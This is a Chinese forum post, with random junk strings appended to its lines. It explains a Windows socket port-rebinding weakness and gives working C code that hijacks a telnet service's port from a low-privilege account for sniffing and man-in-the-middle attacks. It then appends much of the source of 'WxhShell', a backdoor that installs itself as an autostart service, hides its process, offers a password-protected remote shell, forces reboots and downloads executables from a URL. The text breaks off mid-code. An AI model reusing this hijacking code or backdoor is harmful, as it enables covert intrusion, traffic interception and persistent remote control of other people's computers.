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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @\+UTkl8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [}4\CWM  
l-5O5|C  
  saddr.sin_family = AF_INET; ($ gmN 4  
AdbTI#eY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]hRs -x  
L @J$kqWY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UJjtDV3@_g  
JURg=r]LI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iF_u/#  
y,`q6(&  
  这意味着什么?意味着可以进行如下的攻击: ygd*zy9  
b#n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U !%IC7@  
Nh !U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4tSh.qBht  
R<^E?FI   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oG-Eac,  
bNHs jx@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  TQOJN  
2}_^~8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Sg13Dp @x  
M7#CMLy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6=x]20  
hMgk+4*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Fxn=+Xgg  
F*Ul#yX  
  #include AjsjYThV  
  #include CY"i|s  
  #include h]4qJ  
  #include    9l,8:%X_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .~a8\6t  
  int main() [a.(0YLr'w  
  { YVk +zt~S  
  WORD wVersionRequested; sosIu  
  DWORD ret; .!'rI7Kz'i  
  WSADATA wsaData; )&-n-m@E  
  BOOL val; 3%u: c]-wF  
  SOCKADDR_IN saddr; VeH%E.:  
  SOCKADDR_IN scaddr; yr)e."#S  
  int err; '=d y =  
  SOCKET s; COD^osM@  
  SOCKET sc; (~(FQ:L %U  
  int caddsize; 5G z~,_  
  HANDLE mt; a;(,$q3M  
  DWORD tid;   ^}kYJvqA  
  wVersionRequested = MAKEWORD( 2, 2 ); $U2Jq@G*  
  err = WSAStartup( wVersionRequested, &wsaData ); @f-rS{  
  if ( err != 0 ) { X.rbJyKe  
  printf("error!WSAStartup failed!\n"); z; >O5a>z  
  return -1; J+`gr_&  
  } TC ;Aj|)N  
  saddr.sin_family = AF_INET; [7[$P.MS{  
   ]ed7Q3lq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BJqb'H jd  
v4\ m9Pu4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <!X]$kvG  
  saddr.sin_port = htons(23); <4^y7]] F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9~ifST \  
  { , _xJ9_  
  printf("error!socket failed!\n"); f%REN3=5K  
  return -1; VD{_6  
  } wHQYBYKcd  
  val = TRUE; z] |Y   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qLB(Th\&'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /#}%c'  
  { T n,Ifo3  
  printf("error!setsockopt failed!\n"); 2XeNE[  
  return -1; PG'I7)Bv  
  } M F$NcU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 54 f?YR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /FcwsD\=$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r?`7i'  
jQ(%LYX$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [Vou G{  
  { /!y3ZzL  
  ret=GetLastError(); Fd._D"  
  printf("error!bind failed!\n"); {[+Q\<  
  return -1; By<~h/uJ  
  } ]O~/k~f  
  listen(s,2); x6|QTO  
  while(1) ?!bWUVC)_  
  {  M|>-q  
  caddsize = sizeof(scaddr); p\xsW "=8q  
  //接受连接请求 aIN?|Ch  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /ZSdY_%s  
  if(sc!=INVALID_SOCKET) u#Uc6? E  
  { UZE%!OWpeK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p+{*w7?8"[  
  if(mt==NULL) y{nX 6  
  { 9(BB>o54r  
  printf("Thread Creat Failed!\n"); o2LUB)=R'  
  break; >JN[5aus  
  } M5S<N_+Pe  
  } ?QzN\f Y;  
  CloseHandle(mt); RY*s}f  
  } ;fv/s]X86I  
  closesocket(s); G""=`@  
  WSACleanup(); iEMIzaR  
  return 0; 'RCX6TKBnR  
  }   Uq2Qh@B  
  DWORD WINAPI ClientThread(LPVOID lpParam) &MP8.( u `  
  { ~I%JVX%  
  SOCKET ss = (SOCKET)lpParam; }iR!uhi#  
  SOCKET sc; H3S u'3  
  unsigned char buf[4096]; *Rj*%S  
  SOCKADDR_IN saddr; a#,lf9M  
  long num; Js !Zk\O  
  DWORD val; Pu!%sGjD  
  DWORD ret; x 0L,$Ol  
  //如果是隐藏端口应用的话,可以在此处加一些判断  u8[jD^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {>#4{D00  
  saddr.sin_family = AF_INET; jt",\%j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sT"{ e7;F;  
  saddr.sin_port = htons(23); N_E :?Jo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {7FD-Q[tS  
  { =/HTe&  
  printf("error!socket failed!\n"); ;p)fW/<  
  return -1; [kZe6gYP&  
  } }-M% $ ~`  
  val = 100; 6j~'>w(F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H3o Um1  
  { 7ZgFCK,8m,  
  ret = GetLastError(); h}P""  
  return -1; bC]GL$ph9*  
  } FDRpK 5cw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f.u[!T  
  { HLDg_ On8  
  ret = GetLastError(); )TgjaR9G  
  return -1; ZlYb8+rW  
  } iI%"]- 0@1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wB0ONH[  
  { ed7Hz#Qc  
  printf("error!socket connect failed!\n"); qL68/7:A  
  closesocket(sc); tPho4,x$  
  closesocket(ss); 9Dy/-%Ut9  
  return -1; imf_@_  
  } XAc#ywophi  
  while(1) YQ<O .E  
  { ]]bL;vlw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1rhQ{6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :+|os"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D|!^8jHj  
  num = recv(ss,buf,4096,0); zLLe3?8:  
  if(num>0) _ ;_NM5  
  send(sc,buf,num,0); uCpk1d  
  else if(num==0) B1a&'WX?  
  break; *Z"(K\1TH  
  num = recv(sc,buf,4096,0); |Xl,~-.  
  if(num>0) 4*9:  
  send(ss,buf,num,0); 0sKY;(  
  else if(num==0) Ot_xeg;7  
  break; KA$l.6&d  
  } NFcMh+qnK  
  closesocket(ss); Yv jRJ  
  closesocket(sc); bi[gyl#  
  return 0 ; c>RS~/Y  
  } ~*h` ?A0  
h+h`0(z  
iw^(3FcP@C  
========================================================== bPtbU :G  
$ OMGo`z  
下边附上一个代码,,WXhSHELL co!#.  
ByPzA\;e  
========================================================== &U8W(NxN  
W.AN0N  
#include "stdafx.h" g&"__~dS-F  
~;0J 4hR  
#include <stdio.h> p V^hZ.  
#include <string.h> :K_JY   
#include <windows.h> /xRPQ|  
#include <winsock2.h> `P<m`*  
#include <winsvc.h> Yj^n4G(h  
#include <urlmon.h> ZKa.MBde  
Q2[D|{Z  
#pragma comment (lib, "Ws2_32.lib") VZ8HnNAbX  
#pragma comment (lib, "urlmon.lib") Ni[2 p  
s9Aq-N  
#define MAX_USER   100 // 最大客户端连接数 Yxt`Uvc(^h  
#define BUF_SOCK   200 // sock buffer YQ}bG{V  
#define KEY_BUFF   255 // 输入 buffer Iz\IQa  
P=V=\T<4_  
#define REBOOT     0   // 重启 )0JXUC e  
#define SHUTDOWN   1   // 关机 :kDHwYv$  
RHGs(d7-  
#define DEF_PORT   5000 // 监听端口 438+ zU  
tA2I_W Cl  
#define REG_LEN     16   // 注册表键长度 -\!"Kz/  
#define SVC_LEN     80   // NT服务名长度 +;Jb)8  
V{[vIt*  
// 从dll定义API  w|>O!]K]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &dkjT8L$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |:i``gFj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @iwg`j6ol  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); czf|c  
r}y]B\/  
// wxhshell配置信息 .^S#h (A  
struct WSCFG { tc@([XqH  
  int ws_port;         // 监听端口 AtN=G"c>_  
  char ws_passstr[REG_LEN]; // 口令 ^\uj&K6l  
  int ws_autoins;       // 安装标记, 1=yes 0=no <tbsQ3  
  char ws_regname[REG_LEN]; // 注册表键名 *@r)3  
  char ws_svcname[REG_LEN]; // 服务名 5h^U ]Y#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `\:9 2+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l1\/ `  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -$4#eG%3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bqxbOQd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p`3pRrER  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }w&+ H28.#  
el*C8TWlw  
}; 37@_"  
b"y][5VE  
// default Wxhshell configuration =M'y& iz-  
struct WSCFG wscfg={DEF_PORT, $!<J_ d*  
    "xuhuanlingzhe", A({8p  
    1, }F1|& A  
    "Wxhshell", J:,>/')n  
    "Wxhshell", zUqt^_  
            "WxhShell Service", 3Q`F x  
    "Wrsky Windows CmdShell Service", Brh<6Btl  
    "Please Input Your Password: ", b<B|p|  
  1, $*bd})y)I  
  "http://www.wrsky.com/wxhshell.exe", 99}n %(V  
  "Wxhshell.exe" f_r1(o 5:Y  
    }; 37wm[ Z  
Z;aQ/ n[`  
// 消息定义模块 ;Bo{.916  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `n]y"rj'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 88 *K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QUp()B1  
char *msg_ws_ext="\n\rExit."; xoD5z<<  
char *msg_ws_end="\n\rQuit."; e}?#vTRI}  
char *msg_ws_boot="\n\rReboot..."; 8]Xwj].^C  
char *msg_ws_poff="\n\rShutdown..."; `}KK@(Y  
char *msg_ws_down="\n\rSave to "; gd6We)&  
m?G}%u  
char *msg_ws_err="\n\rErr!"; EAcJ>  
char *msg_ws_ok="\n\rOK!"; iO;q]  
QW.VAF\6*  
char ExeFile[MAX_PATH]; k, )7v  
int nUser = 0; ANy=f-V  
HANDLE handles[MAX_USER]; h5G>FPM-=  
int OsIsNt; SxYX`NQ  
?]081l7cd  
SERVICE_STATUS       serviceStatus; Y B@\"|}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1o7 pMp=  
#e0tT+  
// 函数声明 !6ZkLE[XJ<  
int Install(void); 3VbQDPG  
int Uninstall(void); %Ysu613mz  
int DownloadFile(char *sURL, SOCKET wsh); +pJ;}+  
int Boot(int flag); xQC.ap  
void HideProc(void); A\Q]o#U  
int GetOsVer(void); w8*+l0  
int Wxhshell(SOCKET wsl); nJF"[w,?  
void TalkWithClient(void *cs); &E$jAqc  
int CmdShell(SOCKET sock); kIV/o  
int StartFromService(void); '+NmHu:q  
int StartWxhshell(LPSTR lpCmdLine); v9Oyboh(y  
4^VY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F8?&Ql/hdz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g6$X {  
*plsZ*Q8  
// 数据结构和表定义 *TA${$K  
SERVICE_TABLE_ENTRY DispatchTable[] = E27wxMU  
{ N\Bygjw|  
{wscfg.ws_svcname, NTServiceMain}, o;mXk2  
{NULL, NULL} B2%)G$B  
}; JY#IeNL  
 GWgjbp  
// 自我安装 4_J* 0=U  
int Install(void) M ]W'>g)G  
{ ;"\e aKl  
  char svExeFile[MAX_PATH]; 0ANqEQX  
  HKEY key; b5 YE4h8%  
  strcpy(svExeFile,ExeFile); |Sy |E  
g>x2[//pk  
// 如果是win9x系统,修改注册表设为自启动 H1f){L97wR  
if(!OsIsNt) { :k075Zr/#D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {Q?AIp6u|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;VM/Cxgep  
  RegCloseKey(key); V< 0gD?Kx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [a\:K2*'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lw?4xerLsb  
  RegCloseKey(key); =L9sb!  
  return 0; 8Vv"'CU#  
    } ' eO 4h^  
  } &}VGC=F;d  
} r80w{[S$  
else { <O&L2E @~f  
9]BpP0f\  
// 如果是NT以上系统,安装为系统服务 ^<$d Tr'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s2iR  }<  
if (schSCManager!=0) RG[3LX/  
{ iCao;Zb  
  SC_HANDLE schService = CreateService C',D"  
  ( m>$+sMZE  
  schSCManager, d l@  
  wscfg.ws_svcname, U;:>vi3p  
  wscfg.ws_svcdisp, 07Yh  
  SERVICE_ALL_ACCESS, |]HU$Gt S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *nluK  
  SERVICE_AUTO_START, x SF#ys4v  
  SERVICE_ERROR_NORMAL, oA}&o_Q%  
  svExeFile, ]|( (&Y rl  
  NULL, ouK&H|'  
  NULL, =- ~82%  
  NULL, MFaK=1  
  NULL, ]<A|GY0q1  
  NULL BQmg$N,F  
  ); zht^gOs  
  if (schService!=0) U2=5Nt5  
  { 0K`3BuBs  
  CloseServiceHandle(schService); |[}YM %e  
  CloseServiceHandle(schSCManager); g}@_ @  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |! i3Y=X  
  strcat(svExeFile,wscfg.ws_svcname); 41mg:xW(J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b[? 6/#N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /d9I2~}B  
  RegCloseKey(key); [#kfl  
  return 0; Ku*@4#<L6h  
    } 4\x'$G  
  } aJ88U69  
  CloseServiceHandle(schSCManager); muo(bR8  
} bdk"7N  
} vUR{!`14  
Gn #5zx#l  
return 1; 5Az=)q4Q  
} 7gfNe kr~W  
q-eC=!#}  
// 自我卸载 G/J5aj[  
int Uninstall(void) R+#|<e5@%o  
{ 49^;T;'v  
  HKEY key; +'2Mj|d@p  
gpVZZ:~  
if(!OsIsNt) { @zB{Ig  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *4Y1((1k  
  RegDeleteValue(key,wscfg.ws_regname); R5NDT4QYU  
  RegCloseKey(key); uDay||7^g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 28C/^4  
  RegDeleteValue(key,wscfg.ws_regname); R lyF#X#7{  
  RegCloseKey(key); IUAx*R  
  return 0; X,:^})]  
  } @D^y<7(  
} @bOhnd#W  
} $FZ~]Ef  
else { &Vg+n 0  
9TBkVbqV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v*<hE>J0  
if (schSCManager!=0) RmY5/IYR|:  
{ AIR,XlD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3ox%1x NA  
  if (schService!=0) MzL^u8  
  { GL_YT.(!  
  if(DeleteService(schService)!=0) { T=(/n=  
  CloseServiceHandle(schService); UX;?~X  
  CloseServiceHandle(schSCManager); VUxuX5B3M  
  return 0; Xa=oryDt  
  } tq H7M0Ry  
  CloseServiceHandle(schService); __teh>MC  
  } NE,2jeZQ.  
  CloseServiceHandle(schSCManager); <iuESeDG  
} )o;/*h%@  
} C$(US8:{  
%i{Z@  
return 1; Qn(2UO!pD  
} F&%@p&  
f_Ma~'3   
// 从指定url下载文件 V zuW]"  
int DownloadFile(char *sURL, SOCKET wsh) :m]~o3KRy  
{ f6vhW66:?x  
  HRESULT hr; njtz,qt_;G  
char seps[]= "/"; "XlNKBgM  
char *token; 6=U81  
char *file; [Ul"I-K  
char myURL[MAX_PATH]; H C(Vu  
char myFILE[MAX_PATH]; C-E~z{  
)' +" y~  
strcpy(myURL,sURL); 83K)j"!<X  
  token=strtok(myURL,seps); [Gop-Vi/~  
  while(token!=NULL) b3F)$UQ  
  { -0r 0M )  
    file=token; v/*}M&vo  
  token=strtok(NULL,seps); h/5|3  
  } Z<L}ur  
7/+I"~  
GetCurrentDirectory(MAX_PATH,myFILE); ;$,=VB:'  
strcat(myFILE, "\\"); cWjb149@)  
strcat(myFILE, file); p.6C.2q~s]  
  send(wsh,myFILE,strlen(myFILE),0); -} Zck1  
send(wsh,"...",3,0); @W6:JO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WfpQ   
  if(hr==S_OK) fb-Lp#!T39  
return 0; q;Tdqv!Ju  
else WD# 96V  
return 1; +Ac.@!X}%  
uzg(C#sp  
} WJWi'|C4  
k-IL%+U  
// 系统电源模块 p[R4!if2  
int Boot(int flag) Q,R>dkS  
{ (VD Y]Q)  
  HANDLE hToken; M2H +1ic  
  TOKEN_PRIVILEGES tkp; uonCD8  
#(swVo:+E  
  if(OsIsNt) { ]8q#@%v }  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [ )3rc}:1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); */c4b:s  
    tkp.PrivilegeCount = 1; Lh%z2 5t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WoM;)Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -]el_:H  
if(flag==REBOOT) { ]l4\Tdz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]H| O  
  return 0; 9<n2-l|)  
} Ln:6@Ok)5%  
else { $inlI_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fwQVxJe  
  return 0; 5.ibH  
} ,]`|2j  
  } ~_Q~AOFM  
  else { $mxm?7ZVR  
if(flag==REBOOT) { hr$Wt ?B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }`KK  
  return 0; )X |[ jP  
} F<.oTP-B  
else { ezimQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ! Gob `# r  
  return 0; <*JFY%y "  
} qm^|7m^  
} O6*2oUKqK  
8;6j  
return 1; ')N[)&&Q{  
} P5Lb)9_Jw  
Zt_~Zxn3  
// win9x进程隐藏模块 (4o<U%3kGq  
void HideProc(void) L4O.=*P1  
{ fGZ56eH:  
&Va="HNKt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E{;F4wT_@  
  if ( hKernel != NULL ) .~$!BWP  
  { {p\ll  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e"oTlB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /H4Z.|@  
    FreeLibrary(hKernel); /RVwhA+c  
  } lfvt9!SJ+/  
:HW| mqKd  
return; Y5c,O>T5Y  
} +*RaX (&  
mR|L'[l  
// 获取操作系统版本 Ml_Hq>\U  
int GetOsVer(void) CbGfVdw/c  
{ j,n\`7dD$  
  OSVERSIONINFO winfo; [)+wke9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6am g*=]  
  GetVersionEx(&winfo); 9xi nX-x;n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5P Zzaz<  
  return 1; (}g4}A@x  
  else Mj&G5R~_  
  return 0; c@3mfc{  
} =yF]#>Ah  
{V,aCr  
// 客户端句柄模块 {Qi J-[q  
int Wxhshell(SOCKET wsl) :)Pj()Os|  
{ N0DzFXp  
  SOCKET wsh; :KmnwYm  
  struct sockaddr_in client; Y5CDdn  
  DWORD myID; XGuxd  
+0}z3T1L  
  while(nUser<MAX_USER) SR$ 'JGfp  
{ p}oGhO&=  
  int nSize=sizeof(client); /4*Y#IpZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [rkw k\m*  
  if(wsh==INVALID_SOCKET) return 1; !4-4i  
X+1Mv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d-3.7nJ:  
if(handles[nUser]==0) 80zpRU"  
  closesocket(wsh); #x qiGK  
else ]_BH"ng}  
  nUser++; Q,K$)bM  
  } _9g-D9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7fI2b,~  
7nm'v'\u+V  
  return 0; ,,SV@y;  
} hK,a8%KnFA  
H;R~d%!b  
// 关闭 socket 6hMKAk  
void CloseIt(SOCKET wsh) #f [}a  
{ t"zi'9$t  
closesocket(wsh); 4O{G^;  
nUser--; }DQTy.d;P  
ExitThread(0); 78 w  
} U9ZuD40\  
It7R}0Smg  
// 客户端请求句柄 X n8&&w"  
void TalkWithClient(void *cs) jDb"|l  
{ Jz}`-fU`  
VKkvf"X  
  SOCKET wsh=(SOCKET)cs; QM![tZt%;  
  char pwd[SVC_LEN]; o\F>K'  
  char cmd[KEY_BUFF]; B0U(B\~Y  
char chr[1]; g<@Q)p*ow  
int i,j; j+fib} 8}  
-)Bvx>8fq-  
  while (nUser < MAX_USER) { {,i-V57-h  
\-pqqSy  
if(wscfg.ws_passstr) { n$`+03a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DuNindo 8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J/fnSy  
  //ZeroMemory(pwd,KEY_BUFF); NT0n [o^  
      i=0; >+Ig<}p  
  while(i<SVC_LEN) { tAE(`ow/Ur  
aZ$5"  
  // 设置超时 7nNNc[d*=  
  fd_set FdRead; ?m5E Xe  
  struct timeval TimeOut; ~+j2a3rv-{  
  FD_ZERO(&FdRead); 9Vqy<7i1  
  FD_SET(wsh,&FdRead); 'da 'WZG  
  TimeOut.tv_sec=8; {1Y @%e  
  TimeOut.tv_usec=0; #D/*<:q5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rrr_{d/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O^3kPVr  
T\n6^@.>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 70GBf"  
  pwd=chr[0]; J,:&U wkv  
  if(chr[0]==0xd || chr[0]==0xa) { 5?F5xiW  
  pwd=0; lyX3'0c  
  break; X3a9-  
  } t))MZw&@  
  i++; }dop]{RG  
    } BO#tn{(#  
A$r$g\5+  
  // 如果是非法用户,关闭 socket k'PvTWR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 71\53Qr#U  
} tnaFbmp  
'St6a*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bp_R"DS7A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3PGAUQR#"q  
}a$.ngP  
while(1) { 1Vdi5;dn  
/ n_s"[I4  
  ZeroMemory(cmd,KEY_BUFF); + x=)Kp>  
J6n>{iE  
      // 自动支持客户端 telnet标准   R__:~ uv,  
  j=0; u30D`sky  
  while(j<KEY_BUFF) { Hl0" zS[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cl`i|cF\  
  cmd[j]=chr[0]; !CWe1Dm  
  if(chr[0]==0xa || chr[0]==0xd) { 5K ;E*s,  
  cmd[j]=0; +ZM,E8  
  break; I7oA7@zv  
  } ?}Zt&(#  
  j++; #M16qOEw  
    } =&}_bd/]  
Z;Hkx1  
  // 下载文件 M/quswn1  
  if(strstr(cmd,"http://")) { ,< x/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Si>38vCJ*  
  if(DownloadFile(cmd,wsh)) VFL^-tXnA^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "vSKj/]  
  else NC%hsg^0/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4}h}`KZZ  
  } 7Hr_ZwO/^  
  else { C)z4Cn9#  
"0PrdZMx  
    switch(cmd[0]) { Ctz#9[|  
  m+hI3@j  
  // 帮助 k?14'X*7yu  
  case '?': { n(J>'Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RyJy%| \-S  
    break; *z?Uh$I4  
  } 3$nK   
  // 安装 ^obuMQ;  
  case 'i': { z~pp7  
    if(Install()) V_gl#e#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b<00 %Z  
    else Bzrnmz5S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :J`@@H  
    break; Wr%ov6:  
    }  f\<r1  
  // 卸载 I_<XL<  
  case 'r': { x3=1/#9  
    if(Uninstall()) ki9&AFs2X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ ~Eh+  
    else RW L0@\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cRVL1ne  
    break; . ,^WCyvq  
    } 2|,L 9  
  // 显示 wxhshell 所在路径 Reikf}9Q  
  case 'p': { iPTQqx-m$7  
    char svExeFile[MAX_PATH]; Hw]E#S  
    strcpy(svExeFile,"\n\r"); CaJ-oy8  
      strcat(svExeFile,ExeFile); P35DVKS  
        send(wsh,svExeFile,strlen(svExeFile),0); |#@7$#j  
    break; %xg+UW }  
    } XMuZ}u[U  
  // 重启 hy*{ {f;  
  case 'b': { D*%am|QL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eWcqf/4?"  
    if(Boot(REBOOT)) [CI&4) #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w(Z?j%b  
    else { 32[}@f2q  
    closesocket(wsh); KdR4<qVV}  
    ExitThread(0); h=7q;-@7  
    } b_31 \  
    break; vFVUdxPOw  
    } e^Zm09J  
  // 关机 VI2lw E3  
  case 'd': { fHup&|.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4!/JN J  
    if(Boot(SHUTDOWN)) UphTMyn3  
